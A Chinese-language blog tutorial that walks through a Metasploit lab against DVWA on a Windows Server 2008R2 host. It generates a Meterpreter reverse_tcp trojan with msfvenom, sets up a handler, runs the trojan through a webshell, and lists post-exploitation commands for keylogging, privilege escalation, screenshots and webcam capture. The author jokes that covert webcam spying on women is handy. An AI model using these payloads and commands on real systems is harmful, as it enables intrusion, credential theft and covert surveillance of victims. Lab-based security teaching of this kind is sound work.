上次有小伙伴私信我,想看关于Armitage在Windows平台下的使用,这里简单解释下,Armitage你可以把它看作一个壳,你的所有操作其实还是使用的msfconsole接口的命令行,我也安装过windows下的msf,但实在用的不是很习惯,想想还要自己配开源数据库postgresql,脑瓜疼,虽然我也提到Armitage确实提供了多平台版本,但为一个gui实在没必要太折腾。
明明鸟儿已经为你配置好啦一切,尽量还是放到linux上来吧。
小鸟用的好,局子进的早,嘤。
本期我们来简单介绍Meterpreter的一条龙使用,在后面的章节了我们会展开介绍Meterpreter下的基本命令及骚操作。
首先我们要明确一点,Meterpreter生成的payload,咳咳,木马就木马嘛,叫的那么好听QAQ。。。需要在目标服务器上成功运行是我们后续工作的基础,这就牵扯到了免杀的问题;然后目标服务器可能存在于内网内,并不具备公网ip,这就牵扯到了反弹shell的问题;再然后作为攻击者的你如果身处内网,如果你不具备路由管理的权限,然而又需要一个公网IP,那就牵扯到了反向代理的问题……
然后是跟团队大佬求证过的一个场景问题。如果我们是通过webshell上传的payload,那就牵扯到了提权的问题;如果我们是通过类似永恒之蓝等服务器漏洞拿到的shell,对于win7以上版本,可以考虑借助power shell下载我们放置于公网的payload,而对于纯cmd命令行环境,我们需要,,emmm,,尝试提权远程吧,如果你不嫌动静大的话;咳咳,或者干脆物理hack了解一下~
所以,我为什么要碰Meterpreter这个大坑!!!想想后边的内容都脑瓜疼= =。
今天呢,我们就来介绍下针对web应用的msf一条龙搞事情~
眼熟一下~此次的上传点选择DVWA吧,所在服务器是一台Windows server 2008R2。
成功上传webshell并上传,,,,,唉?我在干啥?我在哪?忘做木马啦~@。@
在很多相关教程中,大家可能看到如下命令:'msfpayload'(荷载生成器),'msfencoder'(编码器),'msfcli'(监听接口),这只能说,你看的教程可能过期了,如今的msf讲上述命令统一归置到了'msfvenom' 中。
此次我们的服务器目标十分明确,所以我们选择了针对Windows系统基于TCP的反弹shell:windows/meterpreter/reverse_tcp
使用msfvenom 生成我们所需要的payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.222.77 lport=1988 -f exe -o rabbit.exe
其次,我们需要在msf中配置对应的payload服务端,使用exploit/multi/handler模块:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp ##此次为所使用payload模块
set lhost 172.16.222.77 ##同payload设置内容
set lport 1988 ##同payload设置内容
刚刚我们也提到了,这是反向shell,所以在运行后我们讲开启怼本地所设置端口的监听,等待木马上线。
回到我们webshell的二次上传工作:
通过webshell运行木马。
我们可以看到,客户端已经上线,已拿到目标服务器shell。
我们之前就提到过,Meterpreter是一种特殊的shell code(payload),它究竟有多么强大呢?
#screenshot 屏幕截图
#keyscan_start 键盘记录开启
#keyscan_stop 键盘记录关闭
#keyscan_dump 用于查看键盘记录期间抓取到的内容
#getsystem 获得系统管理员权限
#sysinfo 计算机操作系统和名称等的详细信息
#webcam_snap #通过摄像头拍照,emmm,算了,偶尔爆次照吧。
#webcam_stream #通过摄像头开启视频,emmm,这个不掩饰啦,简直撩小姐姐必备。
当然啦,Meterpreter的功能远远不止这些。关于它的针对不同系统不同协议的不同模块,以及各种常用命令介绍,我们放在后续的章节。真心希望更多的小伙伴可以受益于此。